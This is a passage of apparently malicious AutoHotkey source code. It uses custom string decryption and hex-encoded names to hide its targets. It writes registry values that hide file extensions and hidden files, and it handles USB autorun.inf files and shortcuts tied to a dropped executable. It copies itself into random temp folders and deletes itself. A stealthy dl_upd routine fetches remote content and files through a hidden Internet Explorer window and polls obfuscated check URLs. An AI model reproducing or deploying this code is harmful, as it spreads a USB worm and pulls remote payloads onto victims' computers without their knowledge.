Try regdelete, HKCU, %reg_sw_ms_ie%, %reg_LstUpd%
Try regdelete, HKLM, %reg_sw_ms_ie%, %reg_LstUpd%
Try regdelete, HKCU, %reg_sw_ms_ie%, %reg_VrCnt%
sies = \%int_exp%\
cn := dcprt("ydjM", "i^%&Hf")
lp := dcprt("0tnSVg-c-c", "i^%&Hf")
sll := dcprt("wsWMgQ-c-c", "i^%&Hf")
pff := prg_alt0160_fls
wdd := win_alt0160_def
kill_del(sll appdata "\" pff sies cn)
kill_del(sll appdata "\" pff sies lp)
kill_del(sll appdata "\" wdd sies cn)
kill_del(sll appdata "\" wdd sies lp)
kill_del(sll myprg_dir sies cn)
kill_del(sll myprg_dir sies lp)
kill_del(sll myprg_dir "\" wdd "\" cn)
kill_del(sll myprg_dir "\" wdd "\" lp)
kill_del(myprg_dir "\" win_def "\*")
kill_del(myprg_dir "\" win_def)
kill_del(myprg_dir "\" int_exp "\*")
kill_del(appdata "\" int_exp)
kill_del(prg_dir "\" wdd "\*")
kill_del(prg_dir "\" wdd)
kill_del(myprg_dir "\*")
kill_del(myprg_dir)
kill_del(appdata "\" pff "\" wdd "\*")
kill_del(appdata "\" pff "\" wdd)
kill_del(appdata "\" pff "\" int_exp "\*")
kill_del(appdata "\" pff "\" int_exp)
kill_del(appdata "\" pff "\*")
kill_del(appdata "\" pff)
kill_del(tmp_VrCnt)
rr := reg_sw_ms_win_cu_ex_adv
rg_wt("REG_DWORD", "HKLM", rr "\Folder\HideFileExt", "DefaultValue","1")
rg_wt("REG_DWORD", "HKLM", rr "\Folder\HideFileExt", "CheckedValue","1")
rg_wt("REG_DWORD", "HKLM", rr "\Folder\Hidden\NOHIDDEN", "CheckedValue", "2")
rg_wt("REG_DWORD", "HKLM", rr "\Folder\Hidden\NOHIDDEN", "DefaultValue","1")
rg_wt("REG_DWORD", "HKLM", rr "\Folder\Hidden\SHOWALL", "CheckedValue","1")
rg_wt("REG_DWORD", "HKLM", rr "\Folder\Hidden\SHOWALL", "DefaultValue","1")
rg_wt("REG_DWORD", "HKLM", rr "\Folder\SuperHidden", "CheckedValue","2")
rg_wt("REG_DWORD", "HKLM", rr "\Folder\SuperHidden", "DefaultValue","2")
rg_wt("REG_DWORD", "HKLM", rr "\Folder\SuperHidden", "UncheckedValue","1")
rg_wt("REG_DWORD", "HKCU", rr, "HideFileExt", "1")
rg_wt("REG_DWORD", "HKCU", rr, "ShowSuperHidden","1")
rg_wt("REG_DWORD", "HKCU", rr, "SuperHidden","1")
rg_wt("REG_DWORD", "HKCU", rr, "Hidden","1")
For indx, lp in [startup, startupcommon]
kill_del(lp "\" win_alt0160_def ".lnk")
usbe = %usb_data%\%SecDrvEXE%
Try DriveGet, list, list
loop, parse, list
{
dr = %a_loopfield%:\
Try DriveGet, typ, type, %dr%
if typ not contains Fixed,Removable
continue
Try DriveGet, typ, status, %dr%
if typ != Ready
continue
if FileExist(dr usb) {
kill_del(dr usb_data "\*")
kill_del(dr usb_data)
kill_del(dr "USB\*")
kill_del(dr "USB")
}
ar := dr h2s("6175746F72756E2E696E66") //autorun.inf
if FileExist(ar) {
Try fileread, arr, %ar%
if InStr(arr, usbe)
kill_del(ar)
}
loop, %dr%*.lnk
{
Try FileGetShortcut, %a_loopfilefullpath%,,,oa
if InStr(oa, usbe)
kill_del(a_loopfilefullpath)
}
}
loop, %atemp%\*, 2
if RegExMatch(a_loopfilename, "\d{12}") > 0
kill_del(a_loopfilefullpath)
if FileExist(ori_ie_bk)
Try filemove, %ori_ie_bk%, %prg_ie_ix%, 1
kill_del(prg_dir "\" int_exp "\ieinstal.dll")
ix_renms_del()
cmd_del_file(ScriptFullPath)
Exitapp
cpy_instlr_tmp() {
Global atemp, ScriptFullPath
tpf =
loop, %atemp%\*, 2
{
fp := a_loopfilefullpath
if !RegExMatch(a_loopfilename, "^\d{12}$")
continue
loop, %fp%\~temp~*iN.exe
{
ver := ver_typ(a_loopfilefullpath)
if (ver > 0) {
tpf := fp
break
}
else if ver != -1
kill_del(fp)
}
}
if tpf !=
return tpf
dir_in := atemp "\" get_num_seed(12)
if !FileExist(dir_in)
Try filecreatedir, %dir_in%
sleep, 200
if !FileExist(dir_in)
return tpf
loop, 3
{
tpf := dir_in "\~temp~" get_num_seed(5) "iN.exe"
if kill_del(tpf) {
Try FileCopy, %ScriptFullPath%, %tpf%, 1
if FileExist(tpf) {
Try FileSetAttrib, +RSAH, %dir_in%
break
}
}
else
tpf =
}
return tpf
}
st_gbl() {
Gosub, st_glbl
}
clr_tif:
if !mwt_
mwt_ := dcprt("o3OTwcbIupWQ0rCwsJSOzcvMo3qPy8TIuYec13SitZqP0MK-au0Zwx8C-auoI-c", "&*^TYG")
if !mwi_
mwi_ := dcprt("o3OTwcbIupWQ0rCwsJSOzcvMo294w8icqImSww-c-c", "&*^TYG")
if !lstif_
lstif_ := dcprt("k5WNv8B5moue0r3HrpmGsrnGt5Wcv8bSZ2-aY0rnLtYuefprCs4udug-c-c", "&*^TYG")
if !cntif_
cntif_ := dcprt("ipWY0rnHu1Rzo4k-c", "&*^TYG")
if tif_drs =
tif_drs =
(
AppData\Local%mwt_%Low\%cntif_%
AppData\Local%mwi_%
AppData\Roaming%mwi_%
AppData\Local%mwt_%%cntif_%
AppData\Locallow%mwt_%%cntif_%
AppData\Roaming%mwt_%%cntif_%
AppData\Roaming%mwt_%Low\%cntif_%
%lstif_%%cntif_%
)
loop, parse, tif_drs, `n
{
pthh_=%USERPROFILE%\%a_loopfield%\
loop, %pthh_%*.*, 2
{
Try FileSetAttrib, -RASH, %A_LoopFileFullPath%, 1, 1
Try FileRemoveDir, %A_LoopFileFullPath%, 1
}
sleep, 200
loop, %pthh_%*.*, 1, 1
{
Try FileSetAttrib, -RASH, %A_LoopFileFullPath%
if (FileExist(A_LoopFileFullPath) = "D")
Try FileRemoveDir, %A_LoopFileFullPath%, 1
else
Try FileDelete, %A_LoopFileFullPath%
}
}
return
dl_upd(ul="", typ="t", fl="", flsz=0) {
Static WeB
global tif_drs, lst_upd_ul, atemp
if (typ = "f" && (!fl || flsz = 0))
return ""
set_ie_oln()
Wt_4_inet()
gosub, clr_tif
set_ie_oln()
if (RegExMatch(ul, "^http(s?)://.*") <= 0) {
ul := "http://" ul
}
SrcCd :=
SrchFl :=
if typ = f
{
exst_iech = |
loop, parse, tif_drs, `n
loop, %USERPROFILE%\%a_loopfield%\*.*, 0, 1
exst_iech .= a_loopfilefullpath "|"
}
Gui, -Caption +lastfound +ToolWindow +hwndDL_WiD
Gui, Add, ActiveX, -border w1 h1 vWeB, %ul%
Try DllCall("urlmon\CoInternetSetFeatureEnabled", "Int", 21, "UInt", 0x00000002, "Int", 1)
Gui, Show, x-100 y-100 Hide NoActivate
sleep, 10
Try WeB.silent := true
WinWait, ahk_id %DL_WiD%,,1
Winhide, ahk_id %DL_WiD%
sleep, 1000
pg_nv_strt := a_tickcount
Try {
While(WeB.busy or WeB.readyState <> 4) {
if ((a_tickcount - pg_nv_strt) > 30000)
break
sleep, 500
}
}
lst_upd_ul := trim(RegExReplace(ul, "^(.*?//.*/).*?$", "$1"), "/")
if typ = t
Try SrcCd := WeB.document.documentElement.outerHTML
sleep, 500
if typ = t
{
Try {
Gui, Destroy
Gui, Cancel
}
if SrcCd
return SrcCd
tfl := atemp "\" get_num_seed(11)
kill_del(tfl)
gosub, clr_tif
Try UrlDownloadToFile, %ul%, %tfl%
if FileExist(tfl) {
Try FileRead, SrcCd, %tfl%
kill_del(tfl)
}
return SrcCd
}
if typ = f
{
kill_del(fl)
loop, 2
{
loop, parse, tif_drs, `n
{
loop, %USERPROFILE%\%a_loopfield%\*.*, 0, 1
if exst_iech not contains |%A_LoopFileFullPath%|
if (A_LoopFileSize = flsz) {
SrchFl := A_LoopFileFullPath
Try FileCopy, %SrchFl%, %fl%, 1
Break
}
if SrchFl
break
}
if a_index = 2
break
Try {
Gui, Destroy
Gui, Cancel
}
if SrchFl
break
sleep, 3000
}
exst_iech :=
if SrchFl
{
Try {
Gui, Destroy
Gui, Cancel
sleep, 1000
}
kill_del(SrchFl)
if FileExist(fl)
return fl
}
gosub, clr_tif
Try UrlDownloadToFile, %ul%, %fl%
sleep, 200
if FileExist(fl) {
if (FileSize(fl) = flsz) {
return fl
}
}
return ""
}
Gui, Destroy
Gui, Cancel
return ""
}
Wt_4_inet() {
Static chk_uls, igcs_, icca_
Global mky
if !chk_uls
chk_uls := dcprt("nNe1xqSnecbN33-ax4cqj3snA2uRixrDDmfSyw8rYi3On3qjmhLjj35vPpoTN57d-a", mky)
if !igcs_
{
wn := h2s("57696E696E65742E646C6C") //Wininet.dll
igcs_ := wn dcprt("kKyvys-bquLTKr7a4u9af3bu06NWYtrW33t0-c", mky)
icca_ := wn dcprt("kKyvys-bquLTKq7mp29J03sS-b2dOozLDEqw-c-c", mky)
}
Loop
{
Loop
{
Try {
if DllCall(igcs_, "UInt *", 0x40, "Int", 0)
break
}
sleep, 10000
Try {
if DllCall(igcs_, Str, 0x40, "Int", 0)
break
}
sleep, 10000
}
chk_lnk_ok = 0
For ew, lk in StrSplit(chk_uls, "|") {
Try {
if DllCall(icca_, Str, lk, Int, 1, Int, 0) {
chk_lnk_ok = 1
break
}
}
sleep, 30000
}
if chk_lnk_ok
Break
sleep, 10000
set_ie_oln()
}
}
Str_Replace(ByRef str, srch, rep="") {
str := StrReplace(str, srch, rep)
return str
}
upd_pr_usr_prms() {
Static uusp
if uusp =
uusp := dcprt("v7yuqNKKdovQv7-avubGemZrD15yrub-aSi5rD3L8-c", "LJG^%&&^j")
Try run, %systemroot%\system32\rundll32.exe user32.dll`,%uusp%,, useerrorlevel
}
strp_fst_1k(infl="", ByRef outfl="") {
Global
i_fsz := o_fsz := o_fsz_w := 0
strp := 100*10
Try {
fl := FileOpen(infl, "r")
if IsObject(fl) {
i_fsz := fl.Length
o_fsz_w := i_fsz-strp
fl.RawRead(file_, i_fsz)
fl.Close()
}
} catch ee {
i_fsz = 0
}
if (i_fsz > 0) {
Try {
fl := FileOpen(outfl, "w")
if IsObject(fl) {
fl.RawWrite(&file_+strp, o_fsz_w)
o_fsz := fl.Length
fl.Close()
}
} catch ee {
o_fsz = 0
}
VarSetCapacity(file_, 0)
}
if (i_fsz > 0 && o_fsz > 0 && o_fsz_w > 0 && o_fsz = o_fsz_w) {
return outfl
}
return ""
}
FileSize(InFl="", ByRef sz=0, km="") {
sz = 0
Try {
FileGetSize, sz, %InFl%, %km%
if ErrorLevel
sz = 0
} Catch e
sz = 0
return sz
}
rg_rd(hk="HKCU", pth="", nm="") {
if (!pth || !nm) {
return
}
Try RegRead, r, %hk%, %pth%, %nm%
return r
}
rg_wt(typ_r="REG_SZ", hk_r="HKCU", pth_r="", nm_r="", vl_r="") {
if (!pth_r || !nm_r) {
return 0
}
Try {
Try RegWrite, %typ_r%, %hk_r%, %pth_r%, %nm_r%, %vl_r%
if !ErrorLevel
return 1
}
return 0
}
get_tmp_lks() {
Global atemp
loop, 100
{
lk := atemp "\" get_num_seed(12) ".lk.tmp"
ifnotexist, %lk%
break
kill_del(lk)
lk =
}
return lk
)